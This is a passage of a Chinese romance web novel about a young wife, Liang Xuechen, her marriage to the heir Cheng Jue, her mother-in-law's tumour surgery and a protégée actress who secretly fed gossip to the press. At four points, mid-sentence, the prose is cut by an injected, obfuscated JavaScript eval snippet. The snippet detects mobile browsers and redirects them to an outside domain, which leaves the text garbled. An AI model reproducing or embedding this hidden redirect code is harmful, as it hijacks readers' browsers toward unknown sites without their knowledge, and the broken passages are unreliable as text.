同样是那天晚上,洗完澡后正在吹头发的梁雪琛突然感受到了孩子逐渐逝去。 深红色的液体从她的大腿根部流下,将米黄色的睡裙染得触目惊心,血腥味刺鼻。两个多月大的孩子离开了她的身体,她觉得全身发冷,却感觉不到一点儿的疼痛。 “雪琛你怎么了!” 梁雪琛抬起头便看到了被眼前景象吓到了的程珏。 她说不出任何一句话,只是不停地流着眼泪,泪水流进了她的嘴角,苦涩的滋味一下子在口腔里蔓延开来。 那一刻她知道,这世上唯一能将她和他紧紧联系在一起的孩子已经保不住了。 四月的上海已经变得温热,病床上的梁雪琛却仍然觉得周身冰冷,全身忍不住打颤。 孩子没了,那么两个人因为孩子而存在的婚姻,又该何去何从呢? 梁雪琛面如死灰,终于在住院的第四天下定了决心:“程珏,孩子已经没了,我们的婚姻也到此为止吧。” 那天是清明节,从此以后缅怀逝者时,她多了对一个刚成型的孩子的思念。 脸色同样苍白的程珏站在病床边,死死地盯着梁雪琛,过了很久很久才轻轻地说了一句:“好好休息,别胡说了。这个孩子和我们无缘,以后我们还会有很多孩子的。” 结果就是婚礼继续,婚姻也继续。 当婚宴上所有人都被司仪说的关于异国他乡的爱情故事而感动时,没人知道这个孩子曾来过,也没人知道如果没有这个孩子也不会有这一场婚礼。 在婚礼前的一些关于“嘉程集团继承人因为孩子被迫结婚”的八卦,也很快烟消云散了。 程珏和梁雪琛都没再提起过这个孩子,也默契地再也没有讨论过要不要生个孩子这件事。 好在程家人都当他们是因为年轻还不想养孩子,也都没怎么催生过。两年的婚姻时光里,梁雪琛没有受到过来自婆家的半点委屈。 头发吹到九分干时,程珏收起吹风机放回原位。 时间超过零点,梁雪琛突然问道:“程珏,你还记得我们什么时候领的证吗?” 程珏露出玩味的表情,从床头柜里拿出一个小礼盒递给她。 他勉强扯出一个笑容,回道:“当然记得,两年前的今天我们领了证。但是……你不喜欢这个纪念日的,怎么今天突然提起来了?” 在这个日子里,她失去了第一个孩子。去年的今天,程珏送了她一条纪念日礼物,勾起了她难过的回忆。所以今年虽然也准备了礼物,他却犹豫着要什么时候送出去。 “你相信因果吗,两年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071569|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的今天那个孩子没了……两年后的今年妈妈要做手术。程珏,我们失去了那个孩子,就不会再失去妈妈了。所以你不用担心,妈妈一定会好起来的。” “雪琛……” 梁雪琛把礼盒打开,毫无意外是一条两朵太阳花造型的铂金吊坠。去年结婚纪念日时程珏送的是一朵太阳花的吊坠,并一点也不浪漫地预告了第二年的礼物。 “4月1日,是西方的愚人节,我们在这天领证跟闹着玩儿似的。”梁雪琛把礼物放进自己那一头的床头柜里,转移话题,“我还有机会收到五十朵小花的吊坠吗?” 他们这场荒唐的婚姻,也有共白头的机会吗? “没机会了,这个吊坠只有两条,花最多有两朵,再多就拥挤了。”程珏伸出手,手掌在梁雪琛面前张开,“今年我有礼物吗?” 去年的纪念日,梁雪琛没想到程珏送了礼物,于是下班时匆匆到附近的商场里挑选了个领带夹,被程珏嫌弃敷衍。 不过后来那个领带夹倒是常常出现在程珏的领带上。 “给你。”梁雪琛的手移开,程珏的手心里多了一个红色的刺绣平安符。 “在我老家那边,女人们会给家人绣平安符。里面一般放的是桃木,据说能让家人平平安安的。这几天我绣了两个,刚才在医院时塞了一个到妈妈的包里,这样明天的手术一定就没问题了。这个给你,希望你也可以一直平安快乐。” 程珏拿在手中仔细打量起来。 “平安符?没想到你还会刺绣呢。” 梁雪琛分辨不出程珏话里的好坏,想起去年的那个领带夹,明明是挑了好几个小时下定决心买的,却被程珏说成敷衍,这个平安符更加不是什么能上得了台面的东西了,保不准又被嫌弃。 她的脸一阵发烫,伸手想抢回那个平安符。 “你不要这个就还给我,想要什么礼物直接说出来,我再给你补上就是了。” “谁说我不要这个礼物的!这可是平安符诶,谁会跟美好祝福过不去啊。”程珏眼疾手快地在平安符被抢前收进睡衣衣兜里,“梁雪琛,今年你送的礼物总算不像去年那么敷衍了。” 梁雪琛白了他一眼,躺下前伸手关了房间灯。 她背过身小声嘟囔道:“我再敷衍能有你敷衍吗,两年都送的同样的礼物。” “梁雪琛,那可是太阳花吊坠诶,在我十八岁那年找了法国的珠宝设计师Suzanne专门设计的两条吊坠,一朵花是独立的人格,两朵花是彼此陪伴,我把它们全都送给你了,你还要我怎样不敷衍啊。” 梁雪琛想起江美玲跟她说过,程珏最喜欢的花是毫不起眼的太阳花,于是这个礼物也就有个更厚重的意义,一股暖意涌上心头。 但她没吭声,身后也就没了声音。 过了一会儿她转过身,借着窗外透进来的微光看到程珏平躺着,右手举着那个平安符目不转睛。 知道她转身过来,程珏轻轻说道:“我不担心了,妈妈一定会好起来的,我们一家人再也不会有痛苦了。那个孩子,无论这一世会不会回到我们身边,也都会过得健康快乐的,对吗?” 程珏并不相信与命运有关的任何理论,但他刚才已经被梁雪琛的话感染了,这一刻他愿意相信命中注定。 “嗯。”梁雪琛伸出手,与程珏十指相扣。 22. 第二十二章 提醒 第二天一大家子的人一大早就到了医院。 宋至晴和宋至欢姐弟俩活力满满地给他们最爱的婆婆加油打气,病房里一下子充满了欢声笑语。 进手术前,江美玲拉着梁雪琛的手说道:“别紧张,刚才你们爸爸也在电话里给我加油了,你们都在我的身边,所以我一点也不害怕。” 江美玲的手术被安排在上午八点,据说越是复杂的手术越会被安排在前面。作为当天的第一台手术,可见存在一定的难度。 送江美玲进了手术室之后,张妈、王妈和赵叔轮流在手术室外候着,其余人回到病房里休息。 两个小家伙拉着梁雪琛讲故事,很快就躺在陪护床上睡着了。 程珏和程淼姐弟俩分别在病房两头的椅子上办公,一向忙碌的梁雪琛因为提前安排好了工作,对比之下倒是显得有些悠闲。 同样没事干的还有宋兆宁。 宋兆宁和梁雪琛都坐在病床前方的长沙发上,也许是发现梁雪琛同样无聊,宋兆宁便有一茬没一茬地主动聊着闲话。 “雪琛,你现在在捧的那个小明星叫什么来着……是叫唐诗雯吧?” 梁雪琛疑惑道:“对,我是有个叫唐诗雯的艺人。姐夫怎么突然提起她?” 宋兆宁笑道:“我只是觉得你为了捧她也太费心思了。就算我们在香港,也听说过你为她动用了很多人脉,帮她弄到了一堆新人演员根本不敢想的资源。你是不是还打算塞她进电影剧组镀金?我认真查过她的资料,她的演技天赋并不值得你这样捧。” 梁雪琛不解地看着他,虽说传媒巨子自然对艺人的运作很熟悉,但这番近乎劝诫的话十分突兀,也让她感到不太舒服。 “姐夫,诗雯有几部剧都在排期了,等大家看过她的新剧之后就会知道她有多努力了。”梁雪琛当然不会向对方表现出不满,“天赋固然重要,但是一个不断进步的努力家在我看来更加可贵。” “我想一个喜欢动歪脑筋的人绝对不会是努力家。雪琛,都是一家人,我才提醒你。”宋兆宁看了一眼程珏,用几个人都听得到的声音说道:“我知道她在颁奖礼上的新闻,那小姑娘的心思都写在脸上了,用程家的声誉帮她炒作可一点也不值得。” 程珏听到这话也抬头看着宋兆宁,但并没有说话。 梁雪琛以为宋兆宁将炒作一事算到了唐诗雯头上,连忙解释道:“姐夫,你大概误会诗雯了,她是我带出来的人,心思一向单纯。娱乐圈里炒作不是什么稀罕事,我在她身上运作的东西和她一点关系都没有。至于程家的声誉,如果颁奖礼那天晚上被拍到的不是程珏,就和程家没有任何关系。” “我和诗雯只是普通的朋友,这一点你不是很清楚吗?”程珏的声音冷冷响起,他盯着梁雪琛,眼神里似乎闪过一丝恼怒。 “Alex,是不是普通朋友你自己能搞清楚就行。”程淼忍不住插了一嘴,“雪琛,我和Fiona聊过,那件事的营销你做得很好。我看过舆情变化,唐诗雯的人气不但没有受绯闻的影响,她的那些老粉丝的忠诚度还有了明显提高。” 程淼口中的“Fiona”是著名八卦杂志《文丰周刊》的总编胡丽春。颁奖礼前梁雪琛联系了胡丽春,让她派两个记者提前蹲守在停车场,就连他们的车辆放行条也是梁雪琛找人帮忙开的。 当初梁雪琛还是在程淼的介绍下认识胡丽春的呢,所以她并不意外胡丽春会把这件事告诉程淼,只是不知道她们之间聊得多深。 “你放心,Fiona没跟我说过你们之间任何一个交易。只不过我稍微试探一下,大概也就明白了。”程淼并不觉得梁雪琛的做法有什么不妥,“不过我和Philip的想法一样,你以为唐诗雯单纯,一切都在你的掌控之中,小心到最后为他人作嫁衣裳,赔了夫人又择兵。” 梁雪琛不明所以:“姐,这话又是什么意思?” 程淼长叹一口气道:“哎,我来上海之前还跟Philip说你才是真的单纯。”。 宋兆宁斜靠在沙发上,懒洋洋地帮忙解释道:“Alex把唐诗雯当朋友没错,但唐诗雯难道也只把Alex当朋友吗?” 程珏皱眉道:“诗雯又不是不知道我已经结婚了,我们之间干干净净,没做过任何见不得人的事。姐夫,你在背后扣这么大一个帽子给诗雯,未免也太过分了。” “OK,sorry我闭嘴了。”程珏的语气有些冲,宋兆宁也不生气,仍然用吊儿郎当的语气道:“Alex,以后再在外面招惹女人时,千万别招惹这样的狠角色。” 这回轮到程淼白了宋兆宁一眼。 宋兆宁凑近梁雪琛,她下意识往后一躲。于是他又靠近了些,压低声音问道:“雪琛,你只联系了Fiona,那怎么最后有那么多狗仔都跟拍到了照片,难道是Fiona不想发独家吗?” 梁雪琛稍稍皱眉,宋兆宁笑着往后靠沙发,眼睛全闭上了。 爆出绯闻的那天她其实就觉得不太对劲了,但当时舆论波及程珏,当务之急是把绯闻压下去,加上这件事本来就是她对程珏做得不厚道,也就没有继续深究了。 手机上传来信息提醒,梁雪琛打开,发现是梁璐发来的,一同发过来的还有几张截图:“姐,昨天晚上唐诗雯的新剧开播反馈效果很不错,总共有四个相关的热搜,全都是正向的,舆情监控概览发给你啦。” 梁雪琛这才想起前一天晚上唐诗雯主演的民国大女主剧《逆缘》在卫视和网络上同步播出,看来不管是收视率还是网络点击都如意料之内大获成功。 这部剧的剧本是梁雪琛替唐诗雯把关的,虽然导演只拍过两部小成本网剧,投资额也不是太大,但她从一开始就觉得这个剧本能火,果不其然事实证明了她眼光的毒辣。 “我知道了,谢谢。” 梁雪琛给梁璐回了消息,她看了一眼似乎真的睡着了的宋兆宁,又多发了一条信息:“璐璐,你有空再帮我查一下颁奖礼那天,除了《文丰周刊》之外,其他拍到了程珏和唐诗雯的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071570|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 媒体是从什么时候跟上他们的。” 因为不想多生事端,当时她直接把原因归结为《文丰周刊》跟拍时泄露了行程。 但现在仔细想想,颁奖礼当天主办方特地将艺人车辆和媒体车辆安排在不同的停车场,而作为赞助方的企业相关人员用的停车场进出管理更为严格,要不是梁雪琛利用便利让《文丰周刊》的记者事先将车停在程珏的保时捷附近,他们也没法跟到那则新闻。 放下手机,思绪回到三年多前,嘉程娱乐还未成立,梁雪琛在著名广告公司衡氏兄弟担任广告策划,在一个群像广告拍摄过程中认识了刚被星探发掘的唐诗雯。 那时唐诗雯刚刚中专毕业,因为家里还要供弟弟上学,就让她放弃了升大专的机会。刚成年的她跟着朋友跑到上海打工,第一份工作是超市的导购员。 她很漂亮,一双眼睛充满灵气,这样的女孩子很容易被星探发现。 当衡氏兄弟的星探提出远高于当前工资的诱惑时,唐诗雯毫不犹豫地辞掉了导购员的工作。 衡氏兄弟对旗下的艺人有着一套非常成熟的培训体系,然而进入公司之后,唐诗雯在这个体系之内并没有太亮眼的表现,因此半年多来最多只能在广告背景板中出现。 梁雪琛无意间被唐诗雯干净纯粹的气质吸引了,她的目光总是忍不住看向她。 与程珏结婚之后,程家为新进门的儿媳成立了嘉程娱乐公司,负责嘉程集团旗下所有子公司相关业务的广告工作。 离开衡氏兄弟时,梁雪琛忍不住向老东家讨要了唐诗雯这个毫无名气的广告明星,把她带到嘉程娱乐,然后用将近两年的时间一手将她打造成为嘉程娱乐的当家明星,同时也突破了广告明星的局限,让她成为真正的流量演员。 唐诗雯在梁雪琛的婚礼上第一次见到程珏,在梁雪琛为她举办的第一部参演电视剧的庆功宴上第一次与程珏说上话。 梁雪琛知道程珏十分欣赏唐诗雯——一个从乡下来的单纯善良又踏实努力的漂亮姑娘,就连她自己都非常喜欢,还有谁会不被这样的女孩子吸引呢?所以她也并不介意程珏表现出的毫不掩饰的关注。 梁雪琛总觉得自己了解唐诗雯,也能掌控唐诗雯,直到唐诗雯向程珏哭诉新人奖被她当成了代言的筹码、她因此与他大吵一架时,梁雪琛才渐渐意识到有些事态已经走向了不可控的局面里。 即使如此,梁雪琛仍然相信唐诗雯的单纯从来没有改变过。 至于程珏,在她的认知中他并非因为多么强烈的爱情与她结婚,他怜惜身边的包括她和唐诗雯在内的每个女人,这是公子哥的通病。但她也坚信程珏是个有道德的人,至少在婚姻存续期间他不会做出一个丈夫不该做的事情。 虽然心里不是滋味,梁雪琛还是很快冷静下来,顺势利用了程珏对唐诗雯的特别关注,放任那条让热搜榜几乎瘫痪的大新闻发酵,以此为“新声计划”造势。 从始至终,梁雪琛丝毫没有怀疑过唐诗雯对程珏的心思。 23. 第二十三章 真相 赵叔送来午饭时,梁雪琛接到了梁璐的的信息:“姐,我查到了其他几个媒体的消息来源了,你方便接电话吗?” 梁雪琛顾不上吃饭,借口买咖啡独自跑到楼下小花园里打电话去了。 “姐,虽然那几个媒体基本上对信息的来源都缄口不提,但现在可以确定他们都不是偶然跟踪《文丰周刊》抢到的新闻,他们都是接到了爆料信息才等在停车场出口的。” 梁璐的语气中似乎极力压制着怒意,没等梁雪琛回答,她继续说道:“幸好天下就没有不透风的墙,我闺蜜的朋友在《春夏周刊》工作,她告诉我颁奖礼那天,大概是程总把唐诗雯接走之后几分钟,他们主编就接到一个虚拟号发过去的短信,让他们直接去海边等着,保证能拍到唐诗雯的料。” “用虚拟号爆料?” “对,是虚拟号。但你要夸爆料的人聪明嘛,可她用的是又运营商提供的虚拟号,也就是那种为了工作防骚扰与主号绑定在一起的虚拟号。”梁璐的声音里的怒意越来越明显,“我找人查到了虚拟号的关联号码,没想到那个主号也没有实名登记。” 梁雪琛低声道:“璐璐,别太激动,你慢慢说。” 电话那头的梁璐深吸一口气,继续道:“没有登记也不要紧,反正很容易就能查到主号的归属地是邕市,甚至还可以知道这个号码段是邕市的五柳县上个月做促销免费赠送话费发出去的号码。姐,怎么就这么巧偏偏是五柳县的号码呢?” 这个消息如惊天霹雳一般——怎么这么巧,爆料的号码是唐诗雯家乡的手机号呢? 梁雪琛早已隐隐约约猜到了这个结果,爆负面新闻无外乎的原因就是竞品对家的抹黑或是自我炒作。她联系《文丰周刊》是炒作,目的是给新项目引流,而从《春夏周刊》并没有进一步抹黑操作来看,他们接到的爆料也只是炒作。 既然如此,爆料人的范围就已经缩得很小了。 她怀疑过是手下的人自作主张加了一把火,但从不希望那个人是唐诗雯本人。 “你打过那个主号吗?” “打了,号码的主人有点蠢居然连陌生电话都接。我直接问‘请问是诗雯的家人吗’,对方慌乱地挂了。姐,你说好笑不好笑,挂之前我还听到了电话那头有人说‘是有人发现诗雯了吗’。过一会儿我再打过去时,号码提示已关机。” “我知道了,璐璐,这件事你暂时就当不知道吧,别告诉任何人。” 正值午休时间,小花园里空无一人。梁雪琛在长椅上坐下,尽量压低声音,以免吵到大楼里的病人们。 电话那头仍然愤愤不平:“姐,你对唐诗雯倾尽全力,她却背着你和程总搞在一起,还想着把这件事闹到,这手段也太肮脏了。” “肮脏吗,可我的手段也干净不到哪里去。”梁雪琛的语调中隐隐透出悲凉,“璐璐,我求你了,先别告诉其他人,我会处理好这件事的。” 她把电话挂断,靠在椅背上抬头看躲在云朵里的太阳,虽然被遮住了些,阳光仍然很快刺痛她的眼睛。 泪水从眼角流下,她抬手擦干。一定是阳光太过于刺眼了,她的泪水绝对不是因为长期以来面对程珏的自卑与不安而流的,更不是因为几乎确认了唐诗雯的背刺而感到难过。 “你怎么了?” 程珏在梁雪琛身边坐下,他总能在她想一个人待着的时候不合时宜地出现。 梁雪琛转头看了一眼程珏,什么话也没有说。 看到她这个清冷的表情,他打趣道:“梁雪琛,你知道我最讨厌你什么吗?” “讨厌我什么?”隐藏在内心深处的怒火被瞬间点燃,梁雪琛阴阳怪气道:“你最讨厌我的性格?讨厌我的长相?还是讨厌我没有豪门世家大婆们应有的自信和度量呢?又或者说,我全身上下每一点都让你觉得讨厌。” “你看看,就是这样,一直都是这样。我最讨厌的就是你不长嘴,心里有任何事情都不会告诉我,有什么疑惑也从不会直接问我。你总是迫不及待不听我的陈词就给我判死罪,然后再用刻薄的语言来念判决书。” 程珏知道程淼和宋兆宁提起的事一定又会让梁雪琛多想了。从颁奖礼那天起,他一直在等梁雪琛开口质问,谁知她却像只鸵鸟似把头埋进土里装作无事发生。 这一次她又逃跑了,他忍不住跟着跑了出来,远远地就看到她坐在长椅上对着天空发呆。 梁雪琛被怼得哑口无言,自认理亏。 面对程珏,她总是下意识的觉得自己将要受伤,于是保持全副武装的状态。 程珏一字一顿道:“我告诉过过你我和诗雯只是普通的朋友,也曾经向你坦白过是我单方面欣赏她的那股冲劲,所以忍不住多照顾她一些。我和她之间干干净净,但如果你介意的话,我向你道歉,以后也会和她保持普通同事的距离。” “如果你介意的话”的前提限定,几乎就是个道德绑架,意思就是“我以为你足够大度不会介意没想到你介意了”。 梁雪琛感到一阵委屈:“介意什么,你都这么说了我还有立场介意吗?” “所以你真的很介意我和诗雯来往,对吗?”听到了她的回答,他的情绪反而得到了平复,“你当然有立场介意,对不起,一直以来对于诗雯……我是说唐诗雯,是我考虑不周了。” 一阵无力感从梁雪琛的心底涌出。 她从很久前就察觉到了一个很不对劲的地方——程珏对她太过官方、太过有礼,最大限度也不过是像对普通朋友那样互相斗斗嘴罢了。 梁雪琛不止一次试着发疯,试图用极端的方法让他知道她的无助。 但她得到的永远只有他不屑的退让,就像童话里住在城堡里的王子,看到乡下野丫头为了一颗糖在泥地里满地打滚时,会感到厌恶,但又会保持好风度。 景安安和韩祎都说过梁雪琛是一个身在福中不知福的人,梁雪琛从来都不承认这一点,她比谁都更知道自己得到的一切是都是上天的恩赐,于是她连发疯都不敢暴露自己的真情实感,只敢一点点在程珏并不在意的边缘试探,只想得到多一点点的关注。 这样活着,久而久之如同陷入了沼泽里,无法动弹,几近窒息。 “程珏,读书的时候我很喜欢借同学的小说来看,不管什么题材的都看。我最喜欢的是言情小说,因为故事情节不费脑,是最放松的了。” 回想起以前的日子,梁雪琛微微出神。 但她很快回过神来,继续说道:“有段时间流行的小说都很类似,小说里的男主角或是女主角,在认识对方前总有个特别特别喜欢的对象,几乎非他不嫁非她不娶。可每部小说的结尾里,那个曾经被特别对待的人都成了别人情感的炮灰。” 程珏摸不着头脑:“梁雪琛,你想说什么?” 梁雪琛没理会他的疑惑,自顾自地说道:“我一直把自己带入配角的视角,所以从我的角度上看,那些小说里描写的感情都是很脆弱的。但慢慢地我想明白了,人也许在遇见真爱之前都愿意将就,等遇见了真爱明白自己真正喜欢的人、想共度一生的人到底是谁之后,才算真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071571|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的遇见了沧海,以前对其他人的一点点好感根本无足挂齿。这种感情的变化并没有错。” “梁雪琛,你到底想表达什么?你要给我讲故事吗?” “我的意思是,我以前觉得人必须控制情感,在情感之上有责任和理智。但现在我改了,我觉得一个人如果有资本的话,那就放开自己,追随自己的想法吧,要不然会造成遗憾的。” 这一瞬间,梁雪琛悟了——如果程珏真正喜欢的人是唐诗雯的话,她就放手让他去追随真心吧。 这么一想,她觉得自己全身都闪现出圣母的光辉,和小说里潇洒的配角们一样,她不要把结局搞得一地鸡毛,放手将让她的人格变得无比高尚。 但显然程珏并不明白她的暗示,犹犹豫豫地开口问道:“你说那么多的意思是,你的人生中出现了其他真爱,你在为新感情犹豫不决,还是你都已经出轨了?” “咳、咳……”梁雪琛被呛住了,她仔细打量程珏,想分析他表情中有多少玩笑的成分。 但他看上去十分严肃。 气氛一下子变得诡异,好在几秒后程珏的手机震动打破了这尴尬的气氛。 “赵叔……好,我知道了,我和雪琛在外面,我们马上过来。你也给我姐打个电话吧。” 程珏边挂电话边着急地拉着梁雪琛往手术室方向走,梁雪琛知道应该是江美玲的快速冷冻切片检测出结果了。 一路上梁雪琛一直盯着被程珏牵起的手,对方却似乎丝毫没有觉得奇怪,就好像他们本就应该牵着手一样。 事实上是不管是结婚前还是结婚后,他们从没像现在这样手牵着手。 郑教授亲自出来和家属们解释:“快速冷冻切片的结果为低恶性肿瘤,我会尽力清除掉它们。但肿瘤的位置实在太接近脊髓神经了,我的建议是不要冒太大的风险,毕竟目前的情况还是比较稳定的。” 郑教授又说了许多专业的词汇,梁雪琛听出来大概的意思是,脊髓神经在肿瘤切除过程中容易受破坏,从而而导致患者瘫痪。所以在肿瘤还算稳定的时候,医生们不会冒险将肿瘤彻底清除。 程珏姐弟俩心急如焚,平时在工作中杀伐果断的人面对亲人的疾病也不免乱了阵脚。 一对小朋友感受到大人们的焦虑,怯生生地躲在宋兆宁身后。 “我们相信郑教授,您说怎么做就怎么做。” 梁雪琛反握住程珏,声音中充满坚定:“放心,绝对不会有事的。” 程珏被她的语气感染,慢慢冷静下来。 程淼微微鞠躬,颤抖地说了一句:“郑教授,那就拜托您了。” 郑教授返回手术室,现在已经是下午一点十五分,她将要面对的是更艰难的过程。 四个小时之后江美玲被推出手术室,她已恢复了清醒,额头全是汗。 因为麻药药效过了,疼痛让她脸色苍白,回到病房之后护士才会给她打止疼药。 “Alex,快给你爸爸发个消息,告诉他我没事了,让他放心。” 江美玲看到围在自己身边的家人们,勉强挤出了一个笑容。 在江美玲交待之前,梁雪琛早就提前一步给程安杰打了电话。在大洋彼岸的程安杰也一夜没睡,挂了电话后才终于放下心来。 手术在郑教授的主刀下达到预期,但肿瘤并未完全清除。江美玲将面临的没有期限的治疗和定期检查,如果肿瘤继续生长扩大或是扩散,又将进行下一场手术。但万幸的是,她的生命得到了延续,正常生活也不会受到太大的影响。 24. 第二十四章 福气 夜深时分躺在床上时,程珏总算恢复了平日里的沉稳。 看到梁雪琛从浴室里出来,他坐起身来,下意识地去拿吹风机。 “我已经把头发吹干啦,刚刚你在发呆没注意声音。” 梁雪琛直接拉开被子坐下,从床头拿出日记本。 程珏不好意思地笑了笑,懒洋洋地靠坐在床头,继续翻看着电子相册,里面都是他和家人在一起的照片。 看了一会儿,他自言自语道:“别人总说妈咪一直无忧无虑顺风顺水的,但我知道她为了这个家,一直都过得很辛苦。” 梁雪琛正在写日记的笔尖顿了一下。 她记得以前和Alice聊过对于有钱人“无病呻吟”的不满,那个时候她对世人生来不公的现象感到非常愤怒,看到已经过得比百分之九十的普通人民更幸福的所谓“上等阶级”的人,仍旧会表达自己的痛苦时,她就觉得虚伪和可笑。 “因为社会资源的稀缺性,所以不可能做到完全公平。所谓绝对公平的社会,仅仅是没有享受到特权的人们和少数伟人心中的乌托邦。每个人都有自己的烦恼,你在评价他们时也把人分成了三六九等,并且不允许你心中的‘上等人’有烦恼,难道就是公平的吗?” Alice的话总是能安抚到梁雪琛:“你看,你现在也不缺钱了吧,但仍然会有烦恼,所以你会来找我倾诉。如果十年前的你走到现在的你的面前,斥责现在的你无病呻吟,你又该如何回答那个十年前的你呢?” 想到Alice说过的话,梁雪琛打消了反驳程珏的念头,摇摇头继续写日记。 程珏侧躺下来,用手撑着头看梁雪琛,问道:“你喜欢妈咪吗?” 梁雪琛停下笔,抬眼看他:“这是什么问题?” 程珏笑道:“你还记得你和妈咪的第一次见面吗?我记得是在一个慈善晚宴上,那天晚上我过去接她,看到她拉着你的手走出来,把我吓了一跳。” 她点点头道:“记得,那天晚上,你跟你的家人说我们已经在一起了。” “我早就跟他们说过我和你在一起了好不好?”程珏微微皱起眉头,“那天妈咪想邀请你跟我们一起回来吃夜宵,你说你还有事,没跟我说几句话就走了。回来的路上,妈咪一直在跟我夸你,说你是你的老师最得意的学生,既上进又谦逊,是个不可多得的好女孩,让我认真对待这份感情。” 梁雪琛愣住了,她记得那个晚上的尴尬,也记得江美玲的解围,更记得程珏来接江美玲时她的不知所措,却不记得自己有什么表现值得被夸,更不记得她和程珏之间有什么需要认真对待的感情。 程珏似乎陷入了回忆:“从那天晚上开始,我就在思考和你结婚的可能性了。” “啊?” 那个晚上距离他们决定结婚,大概还有一年的时间。 他们都太年轻,尤其对于程珏而言,程家的男性并不需要早婚。 “别那么惊讶行不行,你也知道的,一般情况下爸爸不会反驳妈咪做的决定。我当时的想法是,与其和家里的堂兄们一样,等到三十多岁接受家里安排,和一个完全不熟悉的女孩子联姻,不如早一点用婚姻来捆住你,至少和你在一起一辈子的感觉应该不坏。而且妈咪很喜欢你,这样家里的阻碍也就没有了。” 也许是因为江美玲的病情得到了控制,所以程珏的心情很好,于是他变得坦诚。 原来对于程珏而言一段婚姻只需要感觉不怀就可以下定决心……梁雪琛放下日记本,决定当一次坦诚的人。 “那你知道我为什么会答应和你结婚吗?” 程珏歪头想了一下,笑出声来,突然自恋道:“不知道诶……是不是因为我身高还算可以、学历嘛也不低、脾气和你比起来很不错,长得嘛也不丑,加上父母姐妹也都不是刻薄的人,我这样的人还挺适合结婚的。” 梁雪琛没有理会他的油腔滑调,正色道:“因为你的家境很好,和你结婚能让我彻底离开我的噩梦,那是吃了上顿没下顿、每天都在担心第二天就因为没钱被学校开除的噩梦。” “这个原因说出来可真伤人。” 程珏笑出声来,但她一下子分辨不出他是被逗笑了,还是对这个现实的原因很失望。 “所以呢?”程珏正面躺下,双手交叉放在脑后,“现在就算没有我你也不会再有那样的噩梦了,所以你已经可以‘有资本放开自己,追随自己的想法,不留遗憾’了,对吗?” 这话听上去有些耳熟,但梁雪琛一时之间没反应过来程珏指的是什么。 刚要反问时,门外突然响起了敲门声,伴随着那声音的是一个稚嫩的童声:“舅妈,舅妈,你们睡着了吗?” 她连忙跳起来小跑过去开门,门打开时一个小小的身影一时站不稳,向她的小腿倒下。 “我都说了舅舅舅妈睡着了,你们快给我回房……” 程淼叉着腰站在宋至晴身后,宋至晴回头正要跟她理论,听到开门声,宋至晴开心地说道:“妈咪你看,我就说现在才九点,舅妈才不会睡着呢!” “啾啾……” 梁雪琛一把将宋至欢抱了起来。 程淼不好意思地说道:“雪琛啊,这俩小鬼就想粘着你呢,那你看要不……” “我看要不你们赶紧回去睡觉,今天那么早起,你们都不觉得累吗?” 程珏出现在梁雪琛身后,双手抱胸冷冷说道。 “啾啾,抱……”宋至欢挣脱了梁雪琛的怀抱,一把扑倒程珏的怀里。 程珏虽说黑着脸,但看到小外甥的撒娇,还是忍不住抱过来对着小脸蛋亲了好几口。 宋至晴紧紧拉着梁雪琛的手,生怕她被程珏抢回去:“我不累,我想听舅妈讲故事,舅舅要是累了的话就自己睡吧,我只要舅妈陪我。” 程珏将梁雪琛拉了回来,把宋至欢往程淼怀里送,捏了捏宋至晴的脸颊说道:“舅妈也累了,讲故事改天再讲,或者让你爹地妈咪讲。小朋友,你再敲门的话打扰我们睡觉的话,等你晚上睡着了我也到你房间外敲门,让你一晚上睡不着。” 没等小姑娘反应过来,他就将门关上了。 “妈咪,你看舅舅真坏!”宋至晴的撒娇中已经带着哭腔。 程淼已经困 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071572|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得睁不开眼睛了,但仍然毫不敷衍地给女儿回应:“好啦,晴晴乖,妈咪叫爹地来给你讲故事,今天就先把舅妈让给你舅舅啊。” 宋至欢口舌不清地问道:“啾啾也要故事吗?” “当然啊,舅舅也是小朋友,和你们一样不听故事睡不着的。” 